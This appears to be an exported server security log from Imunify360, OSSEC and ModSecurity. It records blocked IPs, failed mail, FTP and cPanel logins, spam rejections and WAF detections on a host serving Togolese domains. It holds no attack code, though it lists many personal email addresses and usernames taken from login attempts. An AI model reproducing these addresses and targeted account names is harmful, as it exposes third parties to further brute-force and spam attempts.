name: Imunify PAM. The IP has been locked by RBL
abuser: 177.207.248.5
country_id: 3469034
description:
Jun  5 19:44:26 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.207.248.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.236.211.54
country_id: 2661886
description:
Jun  5 19:43:52 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.236.211.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 112.6.54.195
country_id: 1814991
description:
2026-06-05 19:43:51 H=([112.6.54.195]) [112.6.54.195]:50031 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.185.227.77
country_id: 3469034
description:
2026-06-05 19:44:10 dovecot_login authenticator failed for H=([67.201.33.12]) [179.185.227.77]:54991: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.220.3.101
country_id: 226074
description:
Jun  5 19:44:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.220.3.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-06-05 19:44:11 dovecot_login authenticator failed for H=(78.187.9.111.dynamic.ttnet.com.tr) [41.220.3.101]:27008: 535 Incorrect authentication data (set_id=i.sy)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-06-05 19:45:06 dovecot_login authenticator failed for H=([142.54.235.12]) [101.13.5.30]:44816: 535 Incorrect authentication data (set_id=awa.ouedraogo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.187.213.29
country_id: 6252001
description:
Jun  5 19:45:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.187.213.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-06-05 19:45:10 dovecot_plain authenticator failed for H=(ficatema) [24.187.213.29]:43554: 535 Incorrect authentication data (set_id=admin@white-ways.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.5.30
country_id: 1668284
description:
Jun  5 19:45:04 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.5.30 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.217.253.159
country_id: 1880251
description:
[2026-06-05 19:46:17 +0000] info [cpaneld] 217.217.253.159 - seft "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user seft (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-06-05 19:46:22 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:46406: 535 Incorrect authentication data (set_id=webmaster@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.160.166.237
country_id: 1820814
description:
Jun  5 19:46:20 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.160.166.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-06-05 19:46:38 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:59019: 535 Incorrect authentication data (set_id=webmaster)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.37.35.14
country_id: 3469034
description:
Jun  5 19:47:21 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.37.35.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.73.125
country_id: 3469034
description:
Jun  5 19:47:42 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.73.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.73.125
country_id: 3469034
description:
Jun  5 19:47:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.73.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.120.176.6
country_id: 1835841
description:
Jun  5 19:48:03 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.120.176.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-06-05 19:48:14 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:40546: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-06-05 19:48:05 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:51564: 535 Incorrect authentication data (set_id=admin@togosem.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 203.171.109.242
country_id: 1149361
description:
2026-06-05 19:48:06 H=([203.171.109.242]) [203.171.109.242]:64945 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.33.204.130
country_id: 2017370
description:
Jun  5 19:48:12 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.33.204.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 37.110.211.146
country_id: 1512440
description:
2026-06-05 19:48:33 H=([37.110.211.146]) [37.110.211.146]:23452 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.105.126
country_id: 798544
description:
Jun  5 19:49:16 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.105.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.168
country_id: 1269750
description:
Jun  5 19:49:36 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.168 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.168
country_id: 1269750
description:
Jun  5 19:49:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.168 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:19:50:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10252693&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780689034 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [05/Jun/2026:19:51:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13158044&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780689079 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.77.51.154
country_id: 3175395
description:
Jun  5 19:51:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.77.51.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.86.62
country_id: 1512440
description:
2026-06-05 19:52:11 H=([213.230.86.62]) [213.230.86.62]:1072 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.198.54
country_id: 3865483
description:
Jun  5 19:54:24 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.198.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.56
country_id: 798544
description:
Jun  5 19:54:05 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.56 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 203.171.109.242
country_id: 1149361
description:
2026-06-05 19:55:28 H=([203.171.109.242]) [203.171.109.242]:65396 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 88.165.223.60
country_id: 3017382
domain: sodigaz.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Delight in Your Arcade-Game Extra vamvozmviigr.blogspot.hu OH||Email:vancsakati67@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:20-04.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 20.120.115.157
country_id: 6252001
domain: mail.inh.free.netmaster.tg
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.14||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.187
country_id: 1880251
description:
47.128.96.187 - - [05/Jun/2026:20:11:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7315093&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fabdalla-hamdok%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780690297 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/abdalla-hamdok/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.187


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.214.211.200
country_id: 1512440
description:
2026-06-05 20:12:33 H=([95.214.211.200]) [95.214.211.200]:2107 F=<John@4452.com> rejected RCPT <development@confortis.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.250.133.143
country_id: 6252001
description:
Jun  5 20:14:26 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.250.133.143 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 159.250.133.143
country_id: 6252001
description:
2026-06-05 20:14:28 dovecot_plain authenticator failed for H=d-159-250-133-143.sc.cpe.atlanticbb.net (0gd0iqcpbbbebm0cjbxuts8cwf) [159.250.133.143]:57960: 535 Incorrect authentication data (set_id=supporthosting@cafe.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 20:15:35 ns5 pure-ftpd[1997835]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 20:15:39 ns5 pure-ftpd[1997835]: (?@103.245.236.231) [WARNING] Authentication failed for user [root]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 83.222.6.142
country_id: 1512440
description:
2026-06-05 20:15:12 H=([83.222.6.142]) [83.222.6.142]:6751 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.214.211.200
country_id: 1512440
description:
2026-06-05 20:18:11 H=([95.214.211.200]) [95.214.211.200]:13804 F=<John@4452.com> rejected RCPT <development@confortis.tg>: Sender verify failed


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.128.104
country_id: 2363686
description:
[2026-06-05 20:19:19 +0000] info [webmaild] 196.168.128.104 - wiyao.g@inger.tg "POST /cpsess7897765505/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.66.202] != Current IP Address [196.168.128.104]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 20:18:49 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 20:18:51 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:55813: 535 Incorrect authentication data (set_id=monitoring)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.214.211.200
country_id: 1512440
description:
2026-06-05 20:23:41 H=([95.214.211.200]) [95.214.211.200]:29031 F=<John@4452.com> rejected RCPT <development@confortis.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.52.245.127
country_id: 6252001
description:
[2026-06-05 20:24:23 +0000] info [cpaneld] 198.52.245.127 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.229
country_id: 690791
description:
Jun  5 20:26:35 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.229 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [05/Jun/2026:20:26:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274194&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D1689&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780691192 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=1689" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.217.144.79
country_id: 6252001
domain: www.ciieeinternational.org.lct-togo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.0.229
country_id: 690791
description:
Jun  5 20:26:48 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.0.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.150
country_id: 3865483
description:
Jun  5 20:26:56 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.150 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Enjoy Your Premium Wager Cash bonotdamvam.blogspot.ro 2d||Email:gwingana06@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 20:30:42 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:49813: 535 Incorrect authentication data (set_id=demo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 20:30:40 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.213
country_id: 798544
description:
Jun  5 20:32:11 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.122.110
country_id: 1269750
description:
Jun  5 20:32:15 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.122.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.122.110
country_id: 1269750
description:
2026-06-05 20:32:17 dovecot_login authenticator failed for H=([111.26.184.29]) [182.95.122.110]:59622: 535 Incorrect authentication data (set_id=delbegue_j@tps.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.230.68
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-33.216.26.230.68||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.9.35
country_id: 3469034
description:
Jun  5 20:33:08 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.9.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.40
country_id: 690791
description:
Jun  5 20:33:37 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.40
country_id: 690791
description:
Jun  5 20:33:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.40 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun  5 20:33:57 ns5 pure-ftpd[2011773]: (?@47.84.199.24) [WARNING] Authentication failed for user [sky]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.205.141
country_id: 3469034
description:
Jun  5 20:35:30 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.205.141 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:20:36:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6528407&pdata=http%253A%252F%252Fselithgroup.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780691808 HTTP/1.1" 302 0 selithgroup.com "http://selithgroup.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [05/Jun/2026:20:37:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10459801&pdata=http%253A%252F%252Fselithgroup.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780691815 HTTP/1.1" 404 561 selithgroup.com "http://selithgroup.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.100.49.128
country_id: 783754
description:
[2026-06-05 20:39:25 +0000] info [whostmgrd] 94.100.49.128 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 94.100.49.128
country_id: 783754
description:
[2026-06-05 20:39:27 +0000] info [whostmgrd] 94.100.49.128 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.90.93.233
country_id: 6252001
domain: www.cloud-et-racks.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.178.39.106
country_id: 1814991
description:
Jun  5 20:47:16 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.178.39.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.39.106
country_id: 1814991
description:
2026-06-05 20:47:18 dovecot_login authenticator failed for H=([220.178.39.106]) [220.178.39.106]:53743: 535 Incorrect authentication data (set_id=sales@togosem.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [05/Jun/2026:20:47:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869926&pdata=https%253A%252F%252Fvitrinenews.tg%252F2024%252F05%252F21%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780692466 HTTP/2.0" 302 0 vitrinenews.tg "https://vitrinenews.tg/2024/05/21/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.190.195.35
country_id: 337996
description:
2026-06-05 20:48:50 H=([196.190.195.35]) [196.190.195.35]:45677 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:49:31 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:60046: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.64.140
country_id: 1269750
description:
Jun  5 20:50:15 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.64.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:49:55 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:50802: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.123
country_id: 3469034
description:
Jun  5 20:49:55 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:50:46 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:41388: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.31.229.230
country_id: 2750405
description:
Jun  5 20:52:01 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.31.229.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:52:07 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:39028: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:52:14 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:38012: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.229.230
country_id: 2750405
description:
2026-06-05 20:52:03 dovecot_plain authenticator failed for H=(qp3db3q15g5z1i8wjki5o2wqtd) [144.31.229.230]:54762: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Start Your Web Funds Extra sepoladi.blogspot.gr f6||Email:jtmorange@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:53:01 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:52934: 535 Incorrect authentication data


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:20-53.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.193.167.42
country_id: 298795
description:
185.193.167.42 - - [05/Jun/2026:20:53:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13069929&pdata=https%253A%252F%252Fmatosshop.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780692794 HTTP/2.0" 302 0 matosshop.tg "https://matosshop.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.193.167.42


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:53:50 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:58316: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:54:48 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:59714: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:55:17 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:56454: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:56:05 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:46182: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.171.208.62
country_id: 2635167
description:
2026-06-05 20:56:27 dovecot_plain authenticator failed for H=(j0fh0x6taeikpnpm6vh) [213.171.208.62]:59862: 535 Incorrect authentication data (set_id=cafe@cafe.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.162.234.239
country_id: 130758
description:
2026-06-05 20:56:46 H=([95.162.234.239]) [95.162.234.239]:45974 F=<John@4452.com> rejected RCPT <netflix@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
2026-06-05 20:57:03 dovecot_login authenticator failed for H=(127.0.0.1) [64.89.163.226]:37822: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.89.163.226
country_id: 6252001
description:
